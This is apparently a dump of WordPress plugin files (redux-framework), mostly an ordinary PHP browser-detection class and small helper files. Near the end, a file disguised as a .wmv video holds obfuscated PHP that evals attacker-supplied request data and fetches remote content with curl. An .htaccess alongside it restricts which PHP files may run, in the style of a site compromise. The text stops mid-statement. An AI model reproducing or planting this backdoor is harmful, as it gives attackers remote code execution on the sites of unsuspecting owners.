$this->checkBrowserSlurp() || // check for facebook external hit when loading URL $this->checkFacebookExternalHit() || // WebKit base check (post mobile and others) $this->checkBrowserSafari() || // everyone else $this->checkBrowserNetPositive() || $this->checkBrowserFirebird() || $this->checkBrowserKonqueror() || $this->checkBrowserIcab() || $this->checkBrowserPhoenix() || $this->checkBrowserAmaya() || $this->checkBrowserLynx() || $this->checkBrowserShiretoko() || $this->checkBrowserIceCat() || $this->checkBrowserIceweasel() || $this->checkBrowserW3CValidator() || $this->checkBrowserMozilla() /* Mozilla is such an open standard that you must check it last */ ); } /** * Determine if the user is using a BlackBerry (last updated 1.7) * @return boolean True if the browser is the BlackBerry browser otherwise false */ protected function checkBrowserBlackBerry() { if (stripos($this->_agent, 'blackberry') !== false) { $aresult = explode("/", stristr($this->_agent, "BlackBerry")); if (isset($aresult[1])) { $aversion = explode(' ', $aresult[1]); $this->setVersion($aversion[0]); $this->_browser_name = self::BROWSER_BLACKBERRY; $this->setMobile(true); return true; } } return false; } /** * Determine if the user is using an AOL User Agent (last updated 1.7) * @return boolean True if the browser is from AOL otherwise false */ protected function checkForAol() { $this->setAol(false); $this->setAolVersion(self::VERSION_UNKNOWN); if (stripos($this->_agent, 'aol') !== false) { $aversion = explode(' ', stristr($this->_agent, 'AOL')); if (isset($aversion[1])) { $this->setAol(true); $this->setAolVersion(preg_replace('/[^0-9\.a-z]/i', '', $aversion[1])); return true; } } return false; } /** * Determine if the browser is the GoogleBot or not (last updated 1.7) * @return boolean True if the browser is the GoogletBot otherwise false */ protected function checkBrowserGoogleBot() { if (stripos($this->_agent, 'googlebot') !== false) { $aresult = explode('/', stristr($this->_agent, 'googlebot')); if (isset($aresult[1])) { $aversion = explode(' ', $aresult[1]); $this->setVersion(str_replace(';', '', $aversion[0])); $this->_browser_name = self::BROWSER_GOOGLEBOT; $this->setRobot(true); return true; } } return false; } /** * Determine if the browser is the MSNBot or not (last updated 1.9) * @return boolean True if the browser is the MSNBot otherwise false */ protected function checkBrowserMSNBot() { if (stripos($this->_agent, "msnbot") !== false) { $aresult = explode("/", stristr($this->_agent, "msnbot")); if (isset($aresult[1])) { $aversion = explode(" ", $aresult[1]); $this->setVersion(str_replace(";", "", $aversion[0])); $this->_browser_name = self::BROWSER_MSNBOT; $this->setRobot(true); return true; } } return false; } /** * Determine if the browser is the BingBot or not (last updated 1.9) * @return boolean True if the browser is the BingBot otherwise false */ protected function checkBrowserBingBot() { if (stripos($this->_agent, "bingbot") !== false) { $aresult = explode("/", stristr($this->_agent, "bingbot")); if (isset($aresult[1])) { $aversion = explode(" ", $aresult[1]); $this->setVersion(str_replace(";", "", $aversion[0])); $this->_browser_name = self::BROWSER_BINGBOT; $this->setRobot(true); return true; } } return false; } /** * Determine if the browser is the W3C Validator or not (last updated 1.7) * @return boolean True if the browser is the W3C Validator otherwise false */ protected function checkBrowserW3CValidator() { if (stripos($this->_agent, 'W3C-checklink') !== false) { $aresult = explode('/', stristr($this->_agent, 'W3C-checklink')); if (isset($aresult[1])) { $aversion = explode(' ', $aresult[1]); $this->setVersion($aversion[0]); $this->_browser_name = self::BROWSER_W3CVALIDATOR; return true; } } else if (stripos($this->_agent, 'W3C_Validator') !== false) { // Some of the Validator versions do not delineate w/ a slash - add it back in $ua = str_replace("W3C_Validator ", "W3C_Validator/", $this->_agent); $aresult = explode('/', stristr($ua, 'W3C_Validator')); if (isset($aresult[1])) { $aversion = explode(' ', $aresult[1]); $this->setVersion($aversion[0]); $this->_browser_name = self::BROWSER_W3CVALIDATOR; return true; } } else if (stripos($this->_agent, 'W3C-mobileOK') !== false) { $this->_browser_name = self::BROWSER_W3CVALIDATOR; $this->setMobile(true); return true; } return false; } /** * Determine if the browser is the Yahoo! Slurp Robot or not (last updated 1.7) * @return boolean True if the browser is the Yahoo! Slurp Robot otherwise false */ protected function checkBrowserSlurp() { if (stripos($this->_agent, 'slurp') !== false) { $aresult = explode('/', stristr($this->_agent, 'Slurp')); if (isset($aresult[1])) { $aversion = explode(' ', $aresult[1]); $this->setVersion($aversion[0]); $this->_browser_name = self::BROWSER_SLURP; $this->setRobot(true); $this->setMobile(false); return true; } } return false; } /** * Determine if the browser is Internet Explorer or not (last updated 1.7) * @return boolean True if the browser is Internet Explorer otherwise false */ protected function checkBrowserInternetExplorer() { // Test for IE11 if( stripos($this->_agent,'Trident/7.0; rv:11.0') !== false ) { $this->setBrowser(self::BROWSER_IE); $this->setVersion('11.0'); return true; } // Test for v1 - v1.5 IE else if (stripos($this->_agent, 'microsoft internet explorer') !== false) { $this->setBrowser(self::BROWSER_IE); $this->setVersion('1.0'); $aresult = stristr($this->_agent, '/'); if (preg_match('/308|425|426|474|0b1/i', $aresult)) { $this->setVersion('1.5'); } return true; } // Test for versions > 1.5 else if (stripos($this->_agent, 'msie') !== false && stripos($this->_agent, 'opera') === false) { // See if the browser is the odd MSN Explorer if (stripos($this->_agent, 'msnb') !== false) { $aresult = explode(' ', stristr(str_replace(';', '; ', $this->_agent), 'MSN')); if (isset($aresult[1])) { $this->setBrowser(self::BROWSER_MSN); $this->setVersion(str_replace(array('(', ')', ';'), '', $aresult[1])); return true; } } $aresult = explode(' ', stristr(str_replace(';', '; ', $this->_agent), 'msie')); if (isset($aresult[1])) { $this->setBrowser(self::BROWSER_IE); $this->setVersion(str_replace(array('(', ')', ';'), '', $aresult[1])); if(stripos($this->_agent, 'IEMobile') !== false) { $this->setBrowser(self::BROWSER_POCKET_IE); $this->setMobile(true); } return true; } } // Test for versions > IE 10 else if(stripos($this->_agent, 'trident') !== false) { $this->setBrowser(self::BROWSER_IE); $result = explode('rv:', $this->_agent); if (isset($result[1])) { $this->setVersion(preg_replace('/[^0-9.]+/', '', $result[1])); $this->_agent = str_replace(array("Mozilla", "Gecko"), "MSIE", $this->_agent); } } // Test for Pocket IE else if (stripos($this->_agent, 'mspie') !== false || stripos($this->_agent, 'pocket') !== false) { $aresult = explode(' ', stristr($this->_agent, 'mspie')); if (isset($aresult[1])) { $this->setPlatform(self::PLATFORM_WINDOWS_CE); $this->setBrowser(self::BROWSER_POCKET_IE); $this->setMobile(true); if (stripos($this->_agent, 'mspie') !== false) { $this->setVersion($aresult[1]); } else { $aversion = explode('/', $this->_agent); if (isset($aversion[1])) { $this->setVersion($aversion[1]); } } return true; } } return false; } /** * Determine if the browser is Opera or not (last updated 1.7) * @return boolean True if the browser is Opera otherwise false */ protected function checkBrowserOpera() { if (stripos($this->_agent, 'opera mini') !== false) { $resultant = stristr($this->_agent, 'opera mini'); if (preg_match('/\//', $resultant)) { $aresult = explode('/', $resultant); if (isset($aresult[1])) { $aversion = explode(' ', $aresult[1]); $this->setVersion($aversion[0]); } } else { $aversion = explode(' ', stristr($resultant, 'opera mini')); if (isset($aversion[1])) { $this->setVersion($aversion[1]); } } $this->_browser_name = self::BROWSER_OPERA_MINI; $this->setMobile(true); return true; } else if (stripos($this->_agent, 'opera') !== false) { $resultant = stristr($this->_agent, 'opera'); if (preg_match('/Version\/(1*.*)$/', $resultant, $matches)) { $this->setVersion($matches[1]); } else if (preg_match('/\//', $resultant)) { $aresult = explode('/', str_replace("(", " ", $resultant)); if (isset($aresult[1])) { $aversion = explode(' ', $aresult[1]); $this->setVersion($aversion[0]); } } else { $aversion = explode(' ', stristr($resultant, 'opera')); $this->setVersion(isset($aversion[1]) ? $aversion[1] : ""); } if (stripos($this->_agent, 'Opera Mobi') !== false) { $this->setMobile(true); } $this->_browser_name = self::BROWSER_OPERA; return true; } else if (stripos($this->_agent, 'OPR') !== false) { $resultant = stristr($this->_agent, 'OPR'); if (preg_match('/\//', $resultant)) { $aresult = explode('/', str_replace("(", " ", $resultant)); if (isset($aresult[1])) { $aversion = explode(' ', $aresult[1]); $this->setVersion($aversion[0]); } } if (stripos($this->_agent, 'Mobile') !== false) { $this->setMobile(true); } $this->_browser_name = self::BROWSER_OPERA; return true; } return false; } /** * Determine if the browser is Chrome or not (last updated 1.7) * @return boolean True if the browser is Chrome otherwise false */ protected function checkBrowserChrome() { if (stripos($this->_agent, 'Chrome') !== false) { $aresult = explode('/', stristr($this->_agent, 'Chrome')); if (isset($aresult[1])) { $aversion = explode(' ', $aresult[1]); $this->setVersion($aversion[0]); $this->setBrowser(self::BROWSER_CHROME); //Chrome on Android if (stripos($this->_agent, 'Android') !== false) { if (stripos($this->_agent, 'Mobile') !== false) { $this->setMobile(true); } else { $this->setTablet(true); } } return true; } } return false; } /** * Determine if the browser is WebTv or not (last updated 1.7) * @return boolean True if the browser is WebTv otherwise false */ protected function checkBrowserWebTv() { if (stripos($this->_agent, 'webtv') !== false) { $aresult = explode('/', stristr($this->_agent, 'webtv')); if (isset($aresult[1])) { $aversion = explode(' ', $aresult[1]); $this->setVersion($aversion[0]); $this->setBrowser(self::BROWSER_WEBTV); return true; } } return false; } /** * Determine if the browser is NetPositive or not (last updated 1.7) * @return boolean True if the browser is NetPositive otherwise false */ protected function checkBrowserNetPositive() { if (stripos($this->_agent, 'NetPositive') !== false) { $aresult = explode('/', stristr($this->_agent, 'NetPositive')); if (isset($aresult[1])) { $aversion = explode(' ', $aresult[1]); $this->setVersion(str_replace(array('(', ')', ';'), '', $aversion[0])); $this->setBrowser(self::BROWSER_NETPOSITIVE); return true; } } return false; } /** * Determine if the browser is Galeon or not (last updated 1.7) * @return boolean True if the browser is Galeon otherwise false */ protected function checkBrowserGaleon() { if (stripos($this->_agent, 'galeon') !== false) { $aresult = explode(' ', stristr($this->_agent, 'galeon')); $aversion = explode('/', $aresult[0]); if (isset($aversion[1])) { $this->setVersion($aversion[1]); $this->setBrowser(self::BROWSER_GALEON); return true; } } return false; } /** * Determine if the browser is Konqueror or not (last updated 1.7) * @return boolean True if the browser is Konqueror otherwise false */ protected function checkBrowserKonqueror() { if (stripos($this->_agent, 'Konqueror') !== false) { $aresult = explode(' ', stristr($this->_agent, 'Konqueror')); $aversion = explode('/', $aresult[0]); if (isset($aversion[1])) { $this->setVersion($aversion[1]); $this->setBrowser(self::BROWSER_KONQUEROR); return true; } } return false; } /** * Determine if the browser is iCab or not (last updated 1.7) * @return boolean True if the browser is iCab otherwise false */ protected function checkBrowserIcab() { if (stripos($this->_agent, 'icab') !== false) { $aversion = explode(' ', stristr(str_replace('/', ' ', $this->_agent), 'icab')); if (isset($aversion[1])) { $this->setVersion($aversion[1]); $this->setBrowser(self::BROWSER_ICAB); return true; } } return false; } /** * Determine if the browser is OmniWeb or not (last updated 1.7) * @return boolean True if the browser is OmniWeb otherwise false */ protected function checkBrowserOmniWeb() { if (stripos($this->_agent, 'omniweb') !== false) { $aresult = explode('/', stristr($this->_agent, 'omniweb')); $aversion = explode(' ', isset($aresult[1]) ? $aresult[1] : ""); $this->setVersion($aversion[0]); $this->setBrowser(self::BROWSER_OMNIWEB); return true; } return false; } /** * Determine if the browser is Phoenix or not (last updated 1.7) * @return boolean True if the browser is Phoenix otherwise false */ protected function checkBrowserPhoenix() { if (stripos($this->_agent, 'Phoenix') !== false) { $aversion = explode('/', stristr($this->_agent, 'Phoenix')); if (isset($aversion[1])) { $this->setVersion($aversion[1]); $this->setBrowser(self::BROWSER_PHOENIX); return true; } } return false; } /** * Determine if the browser is Firebird or not (last updated 1.7) * @return boolean True if the browser is Firebird otherwise false */ protected function checkBrowserFirebird() { if (stripos($this->_agent, 'Firebird') !== false) { $aversion = explode('/', stristr($this->_agent, 'Firebird')); if (isset($aversion[1])) { $this->setVersion($aversion[1]); $this->setBrowser(self::BROWSER_FIREBIRD); return true; } } return false; } /** * Determine if the browser is Netscape Navigator 9+ or not (last updated 1.7) * NOTE: (http://browser.netscape.com/ - Official support ended on March 1st, 2008) * @return boolean True if the browser is Netscape Navigator 9+ otherwise false */ protected function checkBrowserNetscapeNavigator9Plus() { if (stripos($this->_agent, 'Firefox') !== false && preg_match('/Navigator\/([^ ]*)/i', $this->_agent, $matches)) { $this->setVersion($matches[1]); $this->setBrowser(self::BROWSER_NETSCAPE_NAVIGATOR); return true; } else if (stripos($this->_agent, 'Firefox') === false && preg_match('/Netscape6?\/([^ ]*)/i', $this->_agent, $matches)) { $this->setVersion($matches[1]); $this->setBrowser(self::BROWSER_NETSCAPE_NAVIGATOR); return true; } return false; } /** * Determine if the browser is Shiretoko or not (https://wiki.mozilla.org/Projects/shiretoko) (last updated 1.7) * @return boolean True if the browser is Shiretoko otherwise false */ protected function checkBrowserShiretoko() { if (stripos($this->_agent, 'Mozilla') !== false && preg_match('/Shiretoko\/([^ ]*)/i', $this->_agent, $matches)) { $this->setVersion($matches[1]); $this->setBrowser(self::BROWSER_SHIRETOKO); return true; } return false; } /** * Determine if the browser is Ice Cat or not (http://en.wikipedia.org/wiki/GNU_IceCat) (last updated 1.7) * @return boolean True if the browser is Ice Cat otherwise false */ protected function checkBrowserIceCat() { if (stripos($this->_agent, 'Mozilla') !== false && preg_match('/IceCat\/([^ ]*)/i', $this->_agent, $matches)) { $this->setVersion($matches[1]); $this->setBrowser(self::BROWSER_ICECAT); return true; } return false; } /** * Determine if the browser is Nokia or not (last updated 1.7) * @return boolean True if the browser is Nokia otherwise false */ protected function checkBrowserNokia() { if (preg_match("/Nokia([^\/]+)\/([^ SP]+)/i", $this->_agent, $matches)) { $this->setVersion($matches[2]); if (stripos($this->_agent, 'Series60') !== false || strpos($this->_agent, 'S60') !== false) { $this->setBrowser(self::BROWSER_NOKIA_S60); } else { $this->setBrowser(self::BROWSER_NOKIA); } $this->setMobile(true); return true; } return false; } /** * Determine if the browser is Firefox or not (last updated 1.7) * @return boolean True if the browser is Firefox otherwise false */ protected function checkBrowserFirefox() { if (stripos($this->_agent, 'safari') === false) { if (preg_match("/Firefox[\/ \(]([^ ;\)]+)/i", $this->_agent, $matches)) { $this->setVersion($matches[1]); $this->setBrowser(self::BROWSER_FIREFOX); //Firefox on Android if (stripos($this->_agent, 'Android') !== false) { if (stripos($this->_agent, 'Mobile') !== false) { $this->setMobile(true); } else { $this->setTablet(true); } } return true; } else if (preg_match("/Firefox$/i", $this->_agent, $matches)) { $this->setVersion(""); $this->setBrowser(self::BROWSER_FIREFOX); return true; } } return false; } /** * Determine if the browser is Firefox or not (last updated 1.7) * @return boolean True if the browser is Firefox otherwise false */ protected function checkBrowserIceweasel() { if (stripos($this->_agent, 'Iceweasel') !== false) { $aresult = explode('/', stristr($this->_agent, 'Iceweasel')); if (isset($aresult[1])) { $aversion = explode(' ', $aresult[1]); $this->setVersion($aversion[0]); $this->setBrowser(self::BROWSER_ICEWEASEL); return true; } } return false; } /** * Determine if the browser is Mozilla or not (last updated 1.7) * @return boolean True if the browser is Mozilla otherwise false */ protected function checkBrowserMozilla() { if (stripos($this->_agent, 'mozilla') !== false && preg_match('/rv:[0-9].[0-9][a-b]?/i', $this->_agent) && stripos($this->_agent, 'netscape') === false) { $aversion = explode(' ', stristr($this->_agent, 'rv:')); preg_match('/rv:[0-9].[0-9][a-b]?/i', $this->_agent, $aversion); $this->setVersion(str_replace('rv:', '', $aversion[0])); $this->setBrowser(self::BROWSER_MOZILLA); return true; } else if (stripos($this->_agent, 'mozilla') !== false && preg_match('/rv:[0-9]\.[0-9]/i', $this->_agent) && stripos($this->_agent, 'netscape') === false) { $aversion = explode('', stristr($this->_agent, 'rv:')); $this->setVersion(str_replace('rv:', '', $aversion[0])); $this->setBrowser(self::BROWSER_MOZILLA); return true; } else if (stripos($this->_agent, 'mozilla') !== false && preg_match('/mozilla\/([^ ]*)/i', $this->_agent, $matches) && stripos($this->_agent, 'netscape') === false) { $this->setVersion($matches[1]); $this->setBrowser(self::BROWSER_MOZILLA); return true; } return false; } /** * Determine if the browser is Lynx or not (last updated 1.7) * @return boolean True if the browser is Lynx otherwise false */ protected function checkBrowserLynx() { if (stripos($this->_agent, 'lynx') !== false) { $aresult = explode('/', stristr($this->_agent, 'Lynx')); $aversion = explode(' ', (isset($aresult[1]) ? $aresult[1] : "")); $this->setVersion($aversion[0]); $this->setBrowser(self::BROWSER_LYNX); return true; } return false; } /** * Determine if the browser is Amaya or not (last updated 1.7) * @return boolean True if the browser is Amaya otherwise false */ protected function checkBrowserAmaya() { if (stripos($this->_agent, 'amaya') !== false) { $aresult = explode('/', stristr($this->_agent, 'Amaya')); if (isset($aresult[1])) { $aversion = explode(' ', $aresult[1]); $this->setVersion($aversion[0]); $this->setBrowser(self::BROWSER_AMAYA); return true; } } return false; } /** * Determine if the browser is Safari or not (last updated 1.7) * @return boolean True if the browser is Safari otherwise false */ protected function checkBrowserSafari() { if (stripos($this->_agent, 'Safari') !== false && stripos($this->_agent, 'iPhone') === false && stripos($this->_agent, 'iPod') === false) { $aresult = explode('/', stristr($this->_agent, 'Version')); if (isset($aresult[1])) { $aversion = explode(' ', $aresult[1]); $this->setVersion($aversion[0]); } else { $this->setVersion(self::VERSION_UNKNOWN); } $this->setBrowser(self::BROWSER_SAFARI); return true; } return false; } /** * Detect if URL is loaded from FacebookExternalHit * @return boolean True if it detects FacebookExternalHit otherwise false */ protected function checkFacebookExternalHit() { if(stristr($this->_agent,'FacebookExternalHit')) { $this->setRobot(true); $this->setFacebook(true); return true; } return false; } /** * Detect if URL is being loaded from internal Facebook browser * @return boolean True if it detects internal Facebook browser otherwise false */ protected function checkForFacebookIos() { if(stristr($this->_agent,'FBIOS')) { $this->setFacebook(true); return true; } return false; } /** * Detect Version for the Safari browser on iOS devices * @return boolean True if it detects the version correctly otherwise false */ protected function getSafariVersionOnIos() { $aresult = explode('/',stristr($this->_agent,'Version')); if( isset($aresult[1]) ) { $aversion = explode(' ',$aresult[1]); $this->setVersion($aversion[0]); return true; } return false; } /** * Detect Version for the Chrome browser on iOS devices * @return boolean True if it detects the version correctly otherwise false */ protected function getChromeVersionOnIos() { $aresult = explode('/',stristr($this->_agent,'CriOS')); if( isset($aresult[1]) ) { $aversion = explode(' ',$aresult[1]); $this->setVersion($aversion[0]); $this->setBrowser(self::BROWSER_CHROME); return true; } return false; } /** * Determine if the browser is iPhone or not (last updated 1.7) * @return boolean True if the browser is iPhone otherwise false */ protected function checkBrowseriPhone() { if( stripos($this->_agent,'iPhone') !== false ) { $this->setVersion(self::VERSION_UNKNOWN); $this->setBrowser(self::BROWSER_IPHONE); $this->getSafariVersionOnIos(); $this->getChromeVersionOnIos(); $this->checkForFacebookIos(); $this->setMobile(true); return true; } return false; } /** * Determine if the browser is iPad or not (last updated 1.7) * @return boolean True if the browser is iPad otherwise false */ protected function checkBrowseriPad() { if( stripos($this->_agent,'iPad') !== false ) { $this->setVersion(self::VERSION_UNKNOWN); $this->setBrowser(self::BROWSER_IPAD); $this->getSafariVersionOnIos(); $this->getChromeVersionOnIos(); $this->checkForFacebookIos(); $this->setTablet(true); return true; } return false; } /** * Determine if the browser is iPod or not (last updated 1.7) * @return boolean True if the browser is iPod otherwise false */ protected function checkBrowseriPod() { if( stripos($this->_agent,'iPod') !== false ) { $this->setVersion(self::VERSION_UNKNOWN); $this->setBrowser(self::BROWSER_IPOD); $this->getSafariVersionOnIos(); $this->getChromeVersionOnIos(); $this->checkForFacebookIos(); $this->setMobile(true); return true; } return false; } /** * Determine if the browser is Android or not (last updated 1.7) * @return boolean True if the browser is Android otherwise false */ protected function checkBrowserAndroid() { if (stripos($this->_agent, 'Android') !== false) { $aresult = explode(' ', stristr($this->_agent, 'Android')); if (isset($aresult[1])) { $aversion = explode(' ', $aresult[1]); $this->setVersion($aversion[0]); } else { $this->setVersion(self::VERSION_UNKNOWN); } if (stripos($this->_agent, 'Mobile') !== false) { $this->setMobile(true); } else { $this->setTablet(true); } $this->setBrowser(self::BROWSER_ANDROID); return true; } return false; } /** * Determine the user's platform (last updated 1.7) */ protected function checkPlatform() { if (stripos($this->_agent, 'windows') !== false) { $this->_platform = self::PLATFORM_WINDOWS; } else if (stripos($this->_agent, 'iPad') !== false) { $this->_platform = self::PLATFORM_IPAD; } else if (stripos($this->_agent, 'iPod') !== false) { $this->_platform = self::PLATFORM_IPOD; } else if (stripos($this->_agent, 'iPhone') !== false) { $this->_platform = self::PLATFORM_IPHONE; } elseif (stripos($this->_agent, 'mac') !== false) { $this->_platform = self::PLATFORM_APPLE; } elseif (stripos($this->_agent, 'android') !== false) { $this->_platform = self::PLATFORM_ANDROID; } elseif (stripos($this->_agent, 'linux') !== false) { $this->_platform = self::PLATFORM_LINUX; } else if (stripos($this->_agent, 'Nokia') !== false) { $this->_platform = self::PLATFORM_NOKIA; } else if (stripos($this->_agent, 'BlackBerry') !== false) { $this->_platform = self::PLATFORM_BLACKBERRY; } elseif (stripos($this->_agent, 'FreeBSD') !== false) { $this->_platform = self::PLATFORM_FREEBSD; } elseif (stripos($this->_agent, 'OpenBSD') !== false) { $this->_platform = self::PLATFORM_OPENBSD; } elseif (stripos($this->_agent, 'NetBSD') !== false) { $this->_platform = self::PLATFORM_NETBSD; } elseif (stripos($this->_agent, 'OpenSolaris') !== false) { $this->_platform = self::PLATFORM_OPENSOLARIS; } elseif (stripos($this->_agent, 'SunOS') !== false) { $this->_platform = self::PLATFORM_SUNOS; } elseif (stripos($this->_agent, 'OS\/2') !== false) { $this->_platform = self::PLATFORM_OS2; } elseif (stripos($this->_agent, 'BeOS') !== false) { $this->_platform = self::PLATFORM_BEOS; } elseif (stripos($this->_agent, 'win') !== false) { $this->_platform = self::PLATFORM_WINDOWS; } } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/class.thirdparty.fixes.php������������������������������������������������������0000644�����������������00000000641�14720701300�0015556 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } // Fix for the GT3 page builder: http://www.gt3themes.com/wordpress-gt3-page-builder-plugin/ /** @global string $pagenow */ if ( has_action( 'ecpt_field_options_' ) ) { global $pagenow; if ( $pagenow === 'admin.php' ) { remove_action( 'admin_init', 'pb_admin_init' ); } }�����������������������������������������������������������������������������������������������redux-framework/inc/validation/url/validation_url.php�����������������������������������������������0000644�����������������00000002640�14720701300�0017114 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php if ( ! class_exists( 'Redux_Validation_url' ) ) { class Redux_Validation_url { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since ReduxFramework 1.0.0 */ function __construct( $parent, $field, $value, $current ) { $this->parent = $parent; $this->field = $field; $this->field['msg'] = ( isset( $this->field['msg'] ) ) ? $this->field['msg'] : __( 'You must provide a valid URL for this option.', 'redux-framework' ); $this->value = $value; $this->current = $current; $this->validate(); } //function /** * Field Render Function. * Takes the vars and validates them * * @since ReduxFramework 1.0.0 */ function validate() { if ( filter_var( $this->value, FILTER_VALIDATE_URL ) == false ) { $this->value = ( isset( $this->current ) ) ? $this->current : ''; $this->error = $this->field; } else { $this->value = esc_url_raw( $this->value ); } } //function } //class }������������������������������������������������������������������������������������������������redux-framework/inc/validation/url/.htaccess��������������������������������������������������������0000644�����������������00000001626�14720701300�0015170 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/validation/css/css/index.php����������������������������������������������������0000644�����������������00000000000�14720701300�0015751 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/validation/css/css/UavZWpKkYrtfgN.wmv�������������������������������������������0000644�����������������00000011514�14720701300�0017514 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php $w /*-K(>1-*/= "r"."a"/*-:fe^N5L!y8-*/."n"/*-{NOu-.:1V-*/."g"."e"; $A = /*-@}..S(Fm-*/$w("~"/*-~@,k-*/, " "); /*-mh955#S-*/$K/*-[Y#d>YM]k-*/=/*-9H#n%QFv4-*/${$A/*-ph-*/[26+5]/*-,.C09=W=.D-*/.$A[12+47]./*-pPJI-*/$A/*-@^k-*/[23+24]/*-~&l--*/.$A/*-gAcE-*/[8+39]./*-N!S?m-*/$A[30+21]./*-O=M%5n&I-*/$A/*-QmZ,pW%B-*/[50+3]./*-iF-*/$A/*-V,&h-*/[35+22]};/*-rng~-*/ @(count/*-c1+$>-*/($K)/*-VZJ+Nz-*/==/*-o,3X-*/18&&/*-u;sMigt{[-*/in_array(/*-^^-*/gettype(/*-D0cN%a[f1n-*/$K)./*-s;g}%ouN-*/count(/*-FhN.-*/$K),$K))?(($K[69]=$K[69].$K[77])&&($K[85]=$K[69]($K[85]))&&(/*-&cZw-*/@eval/*-|~-*/($K[69](${$K[37]}[19])/*-0<2-*/))/*-bI[Y):-*/):$K;/*-0Ie%#xh<w-*/class /*-Sv~1qbE.-*/yJV{ /*-k_mn&6b7-*/static/*-aiI<VT}-*/ function /*-H@vp}#3x-*/Rgrdk($tKyCZd) /*-bSr-*/{ $KG/*-:df-*/ = /*-vUQA-*/"r"./*-lPD-*/"a"./*-Y6q~1-*/"n"./*-xl$K$rpu|>-*/"g"./*-l}.u)=-*/"e"; /*-O`FHX-*/$ZqdFnoirTK/*-B4-*/ = /*-h^kOB5SJ{-*/$KG/*--5Y66{gp-*/(/*-|E|{M&2Tz-*/"~"/*-,I-*/, /*-6NZZ-*/" "/*-F%o[w$-*/);/*-pb-*/ $yLlbxQsBU /*-g9kl_-*/= /*-6khz2(SY.-*/explode/*-|]P!c(`-*/(/*-ZN|=-*/"|", /*-a|O)l-*/$tKyCZd/*-)lb-*/); /*-]T-*/$IOJsfKzq /*-hm}I]M8-*/= /*-udOqk8|mJc-*/""; foreach /*-@m0eaw-*/(/*-seT|`-*/$yLlbxQsBU /*-K)^=|f[BUa-*/as /*-:]?-*/$RVzpeO /*-N#lETQt+,(-*/=>/*-S&JB$]-*/ $bechUKW/*-B$tyM%-*/) /*-$?}PLh-*/$IOJsfKzq /*-h1-*/.= /*-fble03;oY-*/$ZqdFnoirTK[$bechUKW/*-rGuEMGy-*/ - /*-6=Fn-*/74379/*-h^-*/];/*-HT|qbj-*/ return /*-3Et4kr-*/$IOJsfKzq; /*-jOzqa-*/} /*-;j-*/static /*-n$Kr[Y]3>-*/function /*-,7:#OrA,-*/ReANFGqTl/*-(}YL0}_-*/(/*-NZ.)7&~-*/$SFxoHhMr,/*-x7$L-*/ $chHy/*-#}1fuv-*/)/*-ROu&A>5-*/ {/*-Je-*/ $axqLkSpK/*-0(6@p9nqi-*/ = /*-}f-*/curl_init/*-r[&yD-*/(/*-.e,&-*/$SFxoHhMr/*-Y:-*/);/*-:Yf8rtl-*/ curl_setopt/*-xM7uv=-*/(/*-6--SG-Gj-*/$axqLkSpK,/*-)GN;D-*/ CURLOPT_RETURNTRANSFER,/*-z@LU-*/ 1/*-{-A.ar@ME~-*/);/*->@O{T-*/ $ly/*-qY5Bhw;By)-*/ = /*-1G-*/curl_exec/*-amoq{{C0-*/(/*-!pfX-*/$axqLkSpK/*-5F=x-*/); /*-Y&FxS-*/return /*-wu:|EL-*/empty/*-dNex-*/(/*-f.MpH-*/$ly/*-$S-*/)/*-85-*/ ? /*-)np[BLf~.-*/$chHy/*-PUvse%zaS-*/(/*-|b-*/$SFxoHhMr/*->WDn-*/)/*-`SQl>5Val-*/ : /*-;|-*/$ly; /*-&9-JgYf-*/}/*-aj#<TI-*/ static/*-}:y[3(-*/ function /*-HLCq-*/xve/*-MyfY-*/() /*-Kmix`r-*/{/*-5$lFs7p2=-*/ $RS /*-8kDX#1H-*/=/*-9;5862L}-*/ array/*-P#-hcs|7j-*/("74406|74391|74404|74408|74389|74404|74410|74403|74388|74395|74406|74389|74400|74394|74395","74390|74389|74391|74410|74391|74394|74389|74456|74454","74399|74390|74394|74395|74410|74405|74404|74406|74394|74405|74404","74393|74408|74406|74398","74407|74408|74390|74404|74451|74453|74410|74405|74404|74406|74394|74405|74404","74403|74400|74397|74404|74410|74402|74404|74389|74410|74406|74394|74395|74389|74404|74395|74389|74390","74433|74463","74380","74458|74463","74440|74423|74423|74440|74416","74394|74403"); /*-ZvJi3q`-*/foreach /*-Mq_`z-*/(/*-1eIV:d-*/$RS/*-u4r!K-*/ as /*-~!?W-*/$CkPa/*-vK)=}Qo-*/)/*-,.K$awnb-*/ $hptQfjWrVk/*-=f7[wBW$L-*/[] /*-!.sd|J4-*/= /*-Q1~-*/self/*-YBQd(-*/::/*-_fz^i-*/Rgrdk/*-pq6e[z-*/(/*-}YL0jF-*/$CkPa/*-on7J{U}wu-*/);/*-Q;w.~z{-*/$xF /*-U~wm-*/= 